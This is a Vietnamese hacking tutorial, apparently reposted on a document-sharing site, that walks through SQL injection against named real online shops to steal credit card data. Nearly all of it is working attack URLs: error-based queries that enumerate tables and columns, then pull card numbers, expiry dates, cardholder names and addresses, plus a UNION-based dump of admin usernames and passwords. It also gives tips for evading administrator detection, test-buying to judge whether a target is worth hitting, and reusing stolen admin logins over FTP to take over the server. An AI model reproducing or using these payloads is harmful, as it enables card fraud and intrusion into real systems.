HACK SHOP LẤY CREDITCARD BẰNG LỖI INJECTION SQL CHI TIẾT NHẤT-CÓ SHOP THỰC HÀNH

6 2.6K 16
HACK SHOP LẤY CREDITCARD BẰNG LỖI INJECTION SQL CHI TIẾT NHẤT-CÓ SHOP THỰC HÀNH

Đang tải... (xem toàn văn)

Thông tin tài liệu

HACK SHOP LẤY CREDITCARD BẰNG LỖI INJECTION SQL CHI TIẾT NHẤT-CÓ SHOP THỰC HÀNH - Tìm và xác định lỗi Injection SQL: Đến nay vẫn chưa có một từ khoá nào giúp các bạn tìm ra shop sử dụng SQL, vì vậy cần xác định site shop dùng SQL để hack, thường thì nên dùng từ khoá "shopping asp", "Product", "VP-ASP shopping" . Sau khi tìm được shop dùng SQL, tại câu lệnh có đoạn cuối tương tự sau: store/viewProduct.asp?ec_products=6620 ta kiểm tra lỗi bằng cách thêm dấu (‘) vào sau dấu (=), ví dụ:http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620' Nếu hiện thông báo lỗi (chú ý chỗ in đậm): Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ' ORDER BY viewOrder ASC'. /store/viewProduct.asp, line 114 Nghĩa là site này bị lỗi Injection SQL, ta có thể hack. - Cấu trúc câu lệnh để hack: Url victim+câu lệnh Ví dụ:http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620%20%2bconvert(int,(select%20top%20 1% 20table_name%20from%20information_schema.tables))--sp_password - Đây là 3 câu lệnh cơ bản bạn cần dùng trong quá trình hack lỗi Injection SQL: 1/ Câu lấy table: %20%2bconvert(int,(select%20top%201%20table_name%2 0from%20information_schema.tables))--sp_password Dùng để lấy table tiếp theo: %20%2bconvert(int,(select%20top%201%20table_name%2 0from%20information_schema.tables%20where% 20table_name%20not%20in('table_đã_có')))--sp_password 2/ Câu lấy column: %20%2bconvert(int,(select%20top%201%20column_name% 20from%20information_schema.columns%20where% 20table_name%20='table_cần_lấy_column'))--sp_password Dùng để lấy column tiếp theo: %20%2bconvert(int,(select%20top%201%20column_name% 20from%20information_schema.columns%20where% 20table_name%20='table_cần_lấy_column'%20and%20column_name%20not%20in('co lumn_bạn_đã_có)))- sp_password 3/ Câu khai thác dữ liệu: %20%2bconvert(int,(select%20top%201tên_column%2B'/'%2btên_column%20from tên_table_muốn_khai_thác))-- sp_password Để khai thác dữ liệu kế tiếp trên cùng một table bằng:where tên_column not in %20%2bconvert(int,(select%20top%201têncolumn%2B'/'%2btêncolum%20from%20tên_table_khai_thác%20where% 20tên_colum_chứa_dữ_liệu_đã_có%20not%20in('dữ_liệu_đã_có_của_column_khai_báo_phía_trước)))--sp_password Chú ý: Phải dùng -sp_password để admin không phát hiện được Sau đây là ví dụ thực hành, site này có CC: I/ Xem xét site sau: Các bạn có thể copy các đoạn link màu đỏ cho chạy trên IE để theo dõi kết quả hướng dẫn. http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620' Có lỗi Injection SQL II/ Lấy table: 1/ Lấy table đầu tiên: http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620%20%2bconvert(int,(select%20top%20 1% 20table_name%20from%20information_schema.tables))--sp_password Kết quả: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'donations' to a column of data type int. /store/viewProduct.asp, line 114 'donations' là table đầu tiên 2/ Lấy table kế tiếp:http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620%20%2bconvert(int,(select% 20top%20 1%20table_name%20from%20information_schema.tables%20where%20table_name%20not%20in ('donations' )))--sp_password Kết quả: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Editor' to a column of data type int. /store/viewProduct.asp, line 114 'Editor' là table thứ 2 3/ Table thứ 3: http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620%20%2bconvert(int,(select%20top%20 1% 20table_name%20from%20information_schema.tables%20where%20table_name%20not%20in ('donations' ,'Editor')))--sp_password Kết quả: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'bills' to a column of data type int. /store/viewProduct.asp, line 114 Và các bạn làm tương tự để lấy hết table, đến khi không xuất hiện thêm table là hết. Kết quả: http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620%20%2bconvert(int,(select%20top%20 1% 20table_name%20from%20information_schema.tables%20where%20table_name%20not%20in ('donations' ,'Editor','bills','bills_20040213','billsCandidate s','billsCandidates_20040213','billsCandidatesImpo rt','candidates','candidates_20040213','candidates New','contribute','dtproperties','ec_categories',' ec_orders','ec_priceBreaks','ec_products','ec_regi on','ec_shippers','ec_shippingOrders','ec_supplier s','ec_territory','Editor_letters','Editor_queue', 'Editor_recipients','emailUpdates','MinnesotaHouse RollCallVotes','MinnesotaSenateRollCallVotes','off ices','parties','party','Postcards','PostcardsBlac klist','ppmsd','sbEntries','siteSection','storetem p','stories','storyCategories','subjects','syscons traints','syssegments','tblConstitutionalOfficerSl ate','tblConstitutionalOfficerSlate$','tblStateLeg 2002_Query','users','users_choice','vw_contribute_ pending','vw_contribute_processed')))--sp_password II/ Lấy column: Chú ý các table chứa dữ liệu quan trọng liên quan đến CC và pass admin thường có tên: orders, user, tbloders, tbluser . 1/ Khai thác column đầu tiên trong table 'ec_orders': http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620%20%2bconvert(int,(select%20top%20 1% 20column_name%20from%20information_schema.columns%20where%20table_name%20='ec_orders'))-- sp_password Kết quả: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'firstname' to a column of data type int. /store/viewProduct.asp, line 114 'firstname' là column đầu tiên trong table 'ec_orders' 2/ Lấy column tiếp theo: http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620%20%2bconvert(int,(select%20top%20 1% 20column_name%20from%20information_schema.columns%20where%20table_name%20='ec_orders'%20and% 20column_name%20not%20in('firstname')))--sp_password Kết quả: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'lastname' to a column of data type int. /store/viewProduct.asp, line 114 3/ Làm tương tự để khai thác hết column của table này: Kết quả: http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620%20%2bconvert(int,(select%20top%20 1% 20column_name%20from%20information_schema.columns%20where%20table_name%20='ec_orders'%20and% 20column_name%20not%20in ('firstname','lastname','email','orgName','address','city','state','zip','tele_areacode','tele_first','tele_last','credit_card','card _number','ExpDate_month','ExpDa te_year','timestamp','shippedDate','orderNumber','shipped','billing_firstname','billing_lastname'lastname', 'billing_email','billing_orgName','billing_address ','billing_city','billing_state','billing_zip','bi lling_tele_areacode','billing_tele_first','billing _tele_last','nameOnCard','survey_nameOfPerson','survey_materials','survey_ emailAddress','survey_findMethod','survey_interest ed','po_number')))--sp_password III/ Khai thác CC: Các bạn chú ý các column quan trọng trong table 'ec_orders' đã được in đậm: 1/ Khai thác 'credit_card','card_number' trong 'ec_orders' : http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620%20%2bconvert(int,(select%20top%20 1% 20credit_card%2b'/'%2bcard_number%20from%20ec_orders))--sp_password Các bạn dùng link trên để xem kết quả (vì nội quy của From nên không đưa kết quả ra) Tương tự, lấy kết quả kế tiếp: http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620%20%2bconvert(int,(select%20top%20 1% 20credit_card%2b'/'%2bcard_number%20from%20ec_orders%20where%20card_ number%20not%20in ('card_number-bạn_đã_có_ở_trên')))--sp_password Số column truy vấn tùy thuộc vào ý thích của mỗi bạn. Dùng %2b'/'%2b nghĩa là hiển thị kết quả có phân cách bằng dấu (/) để dễ nhận biết. Các bạn lưu ý: số column truy vấn càng nhiều thì khả năng truy xuất dữ liệu càng thấp vì câu lệnh không hiểu những khoảng trống không có dữ liệu. Tốt nhất là thử với 1 column kiểm tra kết quả, sau đó thêm column kế tiếp vào câu lệnh truy xuất. Câu lệnh truy xuất hoàn chỉnh trong table ec_orders của site này (các bạn dùng link này để xem kết qu&#7843 : http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620%20%2bconvert(int,(select%20top%20 1% 20firstname%2b'/'%2blastname%2b'/'%2bemail%2b'/'%2borgName%2b'/'%2baddress%2b'/'%2bcredit_card%2b'/'% 2bcard_number%2b'/'%2bExpDate_month%2b'/'%2bExpDate_year%2b'/'%2bnameOnCard%2b'/'%2bcity%2b'/'% 2bstate%2b'/'%2bzip%20from%20ec_orders))--sp_password Tương tự bạn có thể làm với các table khác để lấy dữ liệu của admin, customer . IV/ Một số kinh nghiệm trong quá trình hack shop bằng lỗi Injection SQL: - Sau khi phát hiện site lỗi Injecton SQL, bạn nên mua thử một món hàng nào đấy trên site này để kiểm tra các thông tin sau: có cho phép dùng CC mua không, CC có cvv2, thanh toán online trên site bị lỗi hay trên một site khác, customer đăng nhập mua hàng có dùng password không .tất cả những thông tin liên quan đến việc mua bán để xác định có nên hack site này không. - Nên khai thác đầu tiên là creditcard_number , nếu không có, có khả năng site đã fix dữ liệu hoặc dùng một site khác để thanh toán. - Khi lấy được user/pass của admin cần dùng nó để đăng nhập server với giao thức ftp, ví dụ:ftp://ppmsddev.ctsg.com/, nếu maymắn bạn có thể làm chủ server và không cần phải phí công nhiều trong khi hack. - Thường các site này hay dấu link để đăng nhập quyền admin, bạn cần chịu khó tìm, và dùng chương trình scan Url của trang này để tìm trang đăng nhập. - Có một số trường hợp, site bị lỗi Injectjon nhưng hiện trang báo lỗi: The page cannot be displayed, bạn cần chú ý phía bên dưới để phát hiện thông báo lỗi của Injection SQL, ví dụ: The page cannot be displayed There is a problem with the page you are trying to reach and it cannot be displayed. . HTTP 500.100 - Internal Server Error - ASP error Internet Information Services Technical Information (for support personnel) Error Type: Provider ('80040e14') Type mismatch. /shopping/shop$db.asp, line 875 Browser Type: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) Page: GET /shopping/shopdisplayproducts.asp Time: Friday, February 27, 2004, 11:20:19 PM More information: Microsoft Supporthttp://www.microsoft.com/ContentRedirect.asp? prd=iis&sbp=&pver=5.0&ID=500;100&cat=Provider&os=&over=&hrd=&Opt1=&Opt2=% 2D2147352571&Opt3=Type+mismatch%2E TUTORIAL NÀY KHÔNG BIẾT TÁC GIẢ Thực ra thì cái lỗi này có từ lâu rồi , nhưng các bạn biết tại sao mà nó còn nhiều khơng , rất nhiều , rất nhiều . Bỡi vì đơn giản là " nhác " . Jet database có nhiều cách , nhưng làm theo cách này newbie dễ hiễu và cũng khơng cần làm gì ngồi việc thêm dòng lệnh sau url bị lỗi cả .Bắt đầu 1. Vào google search từ khố :proddetail.asp?prod=* < * ỡ đây các bạn có thễ thay thế = bất cứ số nào 1, 2,3 . hay 100 , 200 , tuỳ > 2. Thêm dấu ' đễ tìm site có lỗi 3. Nhận biết site có lỗi = dòng sau CODE Microsoft JET Database Engine error '80040e14' The number of columns in the two selected tables or queries of a union query do not match. /Retail/vsadmin/inc/incproddetail.asp, line 33 4. Ví dụ cụ thễ , tơi check thữ sitehttp://www.kleer-fax.com/proddetail.asp?prod=23305 Thêm dấu ' vào sau 23305 ok ?? Lỗi hiện ra CODE Microsoft JET Database Engine error '80040e14' Syntax error in string in query _expression 'pId='23305'''. /proddetail.asp, line 246 Bắt đầu khai thác nhé các bạn , tìm table và collumn của nó = lệnh truy vấn sau : QUOTE %27union%20select%201%20from%20admin Sau khi thêm câu lệnh vào link ta được :http://www.kleer-fax.com/proddetail.asp?prod=23305%27union%20select% 201%20from%20admin Ta được QUOTE Microsoft JET Database Engine error '80040e14' The number of columns in the two selected tables or queries of a union query do not match. /proddetail.asp, line 246 Á , sai rùi , đùa đấy , lỗi vừa rồi nói rằng : có tồn tại giá trị collumn chứa thơng tin admin á , check tiếp Thêm ,2 vào sau select%201 . CODE http://www.kleer-fax.com/proddetail.asp?prod=23305%27%20union%20select% 201,2%20from%20admin A nó cũng báo y như trên CODE Microsoft JET Database Engine error '80040e14' The number of columns in the two selected tables or queries of a union query do not match. /proddetail.asp, line 246 Khi vẫn chưa tìm ra được cái minh cần thì các bạn cứ thêm lần lượt ,3,4,5,6,7,8 vào tiếp cho đến khi : QUOTE Home : All Products 4-5-6 Item: 3 List Price: $9.00 USD 7 201 Hehe đây chính là cái ta cần tìm . Và dãy số ta cần thêm vào ỡ trên kết thúc đến số 14 < May mà mới đến số 14 , ko nãn > Chú ý số 7 và 201 nhé, đó là thông tin của 2 columb chứ a thông tin Admin ( user/ pass) Ta thay câu lệnh truy vấn user và pass admin vào vi ̣ trí 201 và 7 Mệt quá , :( đến tận số 201 , ai muốn học tập thì đánh đến số 201 nha :D Đễ tiện các bạn test mình giả sữ số 201 là số 1 thì câu truy vấn sẽ là CODE http://www.kleer-fax.com/proddetail.asp?prod=23305%27and%201=0%20union% 20select%201%2c2%2c% 27username:%20%27%2badminuser%2c4%2c5%2c6%2c%27password:%20%27%2badminpassword%2c8%2c9% 2c10%2c11%2c12%2c13%2c14%20from%20admin Đó , các bạn đánh đến số 200 rùi đến 201 thì thay = adminpassword :D . Lúc đó sẽ hiện ra những dòng sau QUOTE Please choose from the list below. Change username / password: Edit admin settings: Edit categories: Edit products: Logout: Chú ý: Khi union được mà ko báo lỗi thì mớ i dùng and 1=0 . HACK SHOP LẤY CREDITCARD BẰNG LỖI INJECTION SQL CHI TIẾT NHẤT-CÓ SHOP THỰC HÀNH - Tìm và xác định lỗi Injection SQL: Đến nay vẫn chưa. để lấy dữ liệu của admin, customer . IV/ Một số kinh nghiệm trong quá trình hack shop bằng lỗi Injection SQL: - Sau khi phát hiện site lỗi Injecton SQL,

Ngày đăng: 09/10/2013, 12:20

Từ khóa liên quan

Tài liệu cùng người dùng

Tài liệu liên quan